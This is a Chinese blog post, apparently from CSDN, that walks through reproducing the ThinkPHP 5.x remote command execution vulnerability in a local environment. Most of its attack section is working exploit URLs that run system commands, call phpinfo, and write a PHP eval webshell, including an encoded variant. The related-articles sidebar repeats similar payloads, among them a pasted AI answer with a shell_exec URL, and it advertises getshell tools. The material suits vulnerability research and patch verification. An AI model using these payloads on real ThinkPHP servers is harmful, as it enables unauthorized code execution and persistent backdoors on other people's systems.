Thinkphp框架 5.x远程命令执行漏洞复现

最新推荐文章于 2025-09-15 16:29:51 发布
原创 最新推荐文章于 2025-09-15 16:29:51 发布 · 534 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#安全

ThinkPHP是一款轻量级的国产PHP开发框架，诞生于2006年，采用MVC模式，支持多种数据库及PHP5.0以上版本。然而，5.x版本存在远程命令执行漏洞，影响版本为5.0.23及以下，5.1.31及以下，可通过特定URL参数利用system函数执行任意命令。

thinkphp 编辑
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初，2007年元旦正式更名为ThinkPHP，并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简的代码的同时，也注重易用性。并且拥有众多原创功能和特性，在社区团队的积极参与下，在易用性、扩展性和性能方面不断优化和改进。 [1]
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架，诞生于2006年初，原名FCS，2007年元旦正式更名为ThinkPHP，遵循Apache2开源协议发布，从Struts结构移植过来并做了改进和完善，同时也借鉴了国外很多优秀的框架和模式，使用面向对象的开发结构和MVC模式，融合了Struts的思想和TagLib（标签库）、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以支持windows/Unix/Linux等服务器环境，正式版需要PHP5.0以上版本支持，支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展，ThinkPHP框架本身没有什么特别模块要求，具体的应用系统运行环境要求视开发所涉及的模块。
作为一个整体开发解决方案，ThinkPHP能够解决应用开发中的大多数需要，因为其自身包含了底层架构、兼容处理、基类库、数据库访问层、模板引擎、缓存机制、插件机制、角色认证、表单处理等常用的组件，并且对于跨版本、跨平台和跨数据库移植都比较方便。并且每个组件都是精心设计和完善的，应用开发过程仅仅需要关注您的业务逻辑。
影响范围
5.x < 5.1.31, <= 5.0.23
本地环境：thinkphp5.0.15+php5.6n+ apache2.0
下载地址http://www.thinkphp.cn/donate/download/id/1125.html
复现
利用system函数远程命令执行
http://127.0.0.1/thinkphp5/thinkphp_5.0.15_full/public?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
在这里插入图片描述
http://127.0.0.1/thinkphp5/thinkphp_5.0.15_full/public?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
在这里插入图片描述
写shell
http://127.0.0.1/thinkphp5/thinkphp_5.0.15_full/public?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=…/test.php&vars[1][]=<?php @eval($_GET['code']);?>
在这里插入图片描述
或者编码绕过
hhttp://127.0.0.1/thinkphp5/thinkphp_5.0.15_full/public?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%3C?php%20@eval($_GET[%22code%22])?%3E%3Eshell.php

THINKPHP5.X远程命令执行漏洞
qq_40461312的博客
10-09 1731
前言 ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架 ThinkPHP官方2018年12月9日发布重要的安全更新，修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新，由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞，推荐尽快更新到最新版本。 一、漏洞影响范围 5.x < 5.1.31, <= 5.0.23 二、如何确认THINKPHP版本 多数情况下直接引发报错页面即可获取到thinkphp版本信息，也可以.
ThinkPHP5--rce远程代码执行
m0_74402888的博客
04-30 1600
在ThinkPHP5版本中，由于没有正确处理控制器名，导致在网站没有开启强制路由的情况下（即默认情况下）可以执行任意方法，从而导致远程命令执行漏洞。
从0起步学习网络安全（学习篇）：DAY11 Web中间件漏洞之ThinkPHP漏洞
Jiangbe-Boating
09-15 929
ThinkPHP是国内最流行的PHP框架之一，但存在多种高危漏洞，包括RCE、敏感信息泄露和本地文件包含等。文章介绍了框架特征识别方法，并详细复现了5.x RCE漏洞、敏感信息泄露漏洞和多语言文件包含漏洞的利用过程。针对这些漏洞，建议及时更新框架版本、加强代码审查、严格访问控制并定期进行安全检测。尽管官方已发布修复补丁，但仍有大量未更新系统面临风险。文章提供了完整的安全分析思路和修复方案，帮助开发者和运维人员提升系统安全性。
ThinkPHP v5.0.11 完整版
12-17
ThinkPHP是一个开源的，快速、简单的面向对象的轻量级PHP开发框架，遵循Apache2开源协议发布，是为了敏捷WEB应用 开发和简化企业级应用开发而诞生的。拥有众多的优秀功能和特性，
ThinkPHP 5.x 远程命令执行漏洞复现（GetShell）
热门推荐
北风
12-12 1万+
注：转载请注明出自：https://blog.csdn.net/qq_36711453/article/details/84977739 一、简介 ThinkPHP官方2018年12月9日发布重要的安全更新，修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新，由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞，受影响的版本包括5.0和5.1...
ThiThinkPHP5.x 远程函数执行
有时候，想要一块二向箔
08-31 792
正文 实验地址：ThinkPHP5.x 远程函数执行与sql注入_安全龙-专注做企业网络安全服务与网络安全培训! (anquanlong.com) 知识梳理： PoC，全称“Proof of Concept”，中文“概念验证”，常指一段漏洞证明的代码。 Exp，全称“Exploit”，中文“利用”，指利用系统漏洞进行攻击的动作。 Payload，中文“有效载荷”，指成功 exploit 之后，真正在目标系统执行的代码或指令。 Shellcode，简单翻译“shell 代码”，是 Payload 的一种，由于
Thinkphp 5.x远程命令执行漏洞
白泽Sec安全实验室
11-07 1778
漏洞描述 ThinkPHP官方2018年12月9日发布重要的安全更新，修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新，由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞，推荐尽快更新到最新版本。 thinkphp5最出名的就是rce，rce有两个大版本的分别： ThinkPHP 5.0-5.0.24 ThinkPHP 5.1.0-5.1.30 因为漏洞触发点和版本的不同，导致payload分为多种，其中一些payload需要取决于debug选项比如直
thinkphp5调用shell脚本_【漏洞复现】ThinkPHP5 5.x 远程命令执行(getshell)
weixin_39906358的博客
01-16 417
0x00复现环境0x01步骤0x02漏洞原理分析关键代码在修复之前程序未对控制器进行过滤，导致攻 击 者可以通过引入 \ 符号来调用任意类方法。$this -> app -> controller 方法来实例化控制器，然后调用实例中的方法。follow the controller method：thinkphp/library/think/App.php通过parseModuleAn...
thinkphp5调用shell脚本_ThinkPHP 5.x远程命令执行漏洞复现
weixin_34566429的博客
12-23 640
一、漏洞描述2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞:漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。二、漏洞影响版本Thinkphp 5.x-Thinkphp 5.1.31Thinkphp 5.0.x<=5.0.23三、漏洞复...
【漏洞复现】ThinkPHP5.x远程代码执行
Kris__zhang的博客
04-23 656
一、漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.thinkphp.cn/869075 漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。 二、漏洞影响版本 Thinkphp 5.x-Thinkphp 5.1.31 Thinkphp 5.0.x<=5.0.23 三、漏洞复现 1、官网下载Thinkphp 5
ThinkPHP v5.x命令执行利用工具（可getshell）
11-19
ThinkPHP v5.x命令执行利用工具（可getshell）
thinkphp5.X-Batch-getshell-master.rar
03-31
thinkphp5各版本通用poc
ThinkPHP_getshell-v2.zip
11-11
验证think PHP5版本漏洞并可以getshell
thinkphp网站测试工具
04-26
单元测试能做，首先依赖于编写的代码，写的随意的代码，是很难做单测的，所以，第一项工作就是要编写可以测试的代码，所以开发的时候就要考虑怎么测试，如果能遵循测试驱动开发，敲码前先写单测，那更好； 第二项工作，就是单测的编写了。往往打桩是比较麻烦的，但是越大的系统，依赖的外部组件和系统越多，不打桩根本无法测试。目前phpunit有支持打桩。 第三，如果是旧项目，代码写的随意，缺少封装，过程式的，甚至是面包屑代码，如何测试？我能想到的，要么重构代码，要么就得做大量的打桩工作；即使如此，也不能保证真的就能对这些代码进行单测。
thinkphp5.1最新完整版
10-28
ThinkPHP是一个免费开源的，快速、简单的面向对象的轻量级PHP开发框架，是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简的代码的同时，也注重易用性。遵循Apache2开源许可协议发布，意味着你可以免费使用ThinkPHP，甚至允许把你基于ThinkPHP开发的应用开源或商业产品发布/销售。 最新版还热乎的Thinkphp5.1完整开发版下载。
【漏洞复现】ThinkPHP5 5.x 远程命令执行(getshell)
weixin_34314962的博客
12-11 4198
0x00复现环境 ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用（GetShell） 0x01步骤 点击start to hack 进入环境页面 run the project 然后访问给出的target address执行系统命令显示目录下文件http://aaa.vsplate.me:52763/public/index.php?s=/index...
thinkphp5+远程代码执行_ThinkPHP5.0.x远程命令执行高危漏洞预警
weixin_39777543的博客
11-25 252
漏洞综述关于ThinkPHPThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架，其借鉴了国外很多优秀的框架和模式，包括使用面向对象的开发结构和MVC模式，融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式等。该框架常被用来进行二次开发，国内应用非常广泛。漏洞原理Thinkphp处理请求的关键类为Request(thinkph...
ThinkPHP5.x-远程命令执行漏洞
LYJ20010728的博客
06-06 853
ThinkPHP 5.x远程命令执行漏洞漏洞原因漏洞影响版本漏洞复现搭建漏洞环境POC1POC2&POC3POC4&POC5 漏洞原因 由于框架对控制器名没有进行足够的检测，导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行 漏洞影响版本 Thinkphp 5.x-Thinkphp 5.1.31 Thinkphp 5.0.x<=5.0.23 漏洞复现 搭建漏洞环境 官网下载Thinkphp 5.0.22，下载地址 使用phpstudy搭建环境，解压下载的Thin
ThinkPHP5 5.0.22/5.1.29 远程代码执行
最新发布
10-29
<think>嗯，用户要求我查找ThinkPHP5版本5.0.22和5.1.29的远程代码执行漏洞信息。参考了多个站内引用，这些引用都指向同一个漏洞。 用户提供了五个引用来源，我需要从中提炼关键信息。引用[1]提到漏洞是由于获取method方法未正确处理方法名，导致攻击者能调用Request类任意方法；引用[2][3]则强调问题出在控制器名处理不当，默认配置下未开启强制路由；引用[4]明确了受影响版本范围是5.0.23和5.1.31之前的所有版本；引用[5]则给出了具体的漏洞复现URL示例。 漏洞本质在于框架对控制器名的过滤缺陷。当未开启强制路由时(默认关闭)，攻击者可通过特殊构造的URL调用任意方法。比如引用[5]展示的payload就很典型：通过s参数注入命名空间路径，配合invokefunction调用危险函数如shell_exec。 修复方案很明确：升级到安全版本5.0.23或5.1.31。临时措施可开启强制路由，但可能影响正常业务。有趣的是，引用[1][3]都提到这是"RCE漏洞"，说明危害等级很高。 用户可能需要明确三点：漏洞原理、如何验证漏洞存在、怎样修复。在整理回答时，我会把利用方式中的payload示例单独用代码块呈现，因为涉及具体攻击语法需要清晰分隔。另外需要强调docker复现环境搭建步骤，这对安全研究人员很实用。 考虑到用户是技术背景，相关问题设计可以更深入：比如漏洞的CVE编号、实际攻击案例、补丁对比分析等。安全类问题需要特别注意准确性，所有技术细节必须严格对照引用来源表述。 </think>根据提供的引用信息，以下是ThinkPHP 5.0.22/5.1.29 远程代码执行漏洞的完整分析： --- ### 💣 **漏洞详情** 1. **漏洞本质** 框架未正确处理控制器名和方法名，导致在未开启强制路由（默认关闭）时，攻击者可构造恶意URL调用`Request`类的任意方法，最终实现远程代码执行（RCE）[^1][^2][^3]。 2. **影响版本** - `5.0.x ≤ 5.0.22` - `5.1.x ≤ 5.1.29` （安全版本：5.0.23+ / 5.1.31+）[^4] 3. **触发条件** 默认配置下未开启强制路由（`url_route_must=false`），允许通过URL动态调用控制器方法[^2][^3]。 --- ### ⚠️ **利用方式** 1. **基础攻击Payload** 通过`s`参数注入恶意控制器路径，调用`invokefunction`执行系统命令： ```bash http://target.com/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id ``` 此Payload调用`shell_exec('id')`返回当前用户信息[^5]。 2. **利用链关键点** - 路径穿越：`\think\app` 触发框架加载流程 - 动态调用：`invokefunction` 反射执行指定函数 - 参数控制：`vars[0]` 传递危险函数（如`system`/`exec`）[^5][^3] --- ### 🔧 **修复方案** 1. **官方补丁** 升级至安全版本： ```bash # 5.0.x 升级命令 composer update topthink/framework 5.0.23 # 5.1.x 升级命令 composer update topthink/framework 5.1.31 ``` 补丁修复了方法名过滤逻辑，禁止非法字符调用[^1][^4]。 2. **临时缓解措施** - 开启强制路由（修改`config/app.php`）： ```php 'url_route_must' => true, // 强制路由生效 ``` - 配置WAF拦截包含`/think/app/invokefunction`的请求[^2][^3]。 --- ### 🔍 **漏洞复现步骤** 1. 使用Vulhub环境搭建： ```bash cd vulhub/thinkphp/5.rce docker-compose up -d # 启动漏洞环境 ``` 2. 访问Payload验证漏洞： ``` http://localhost:8080/index.php?s=/Index/\think\app/invokefunction&function=phpinfo&vars[]=1 ``` 成功则返回PHP配置信息[^4][^5]。 ---
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值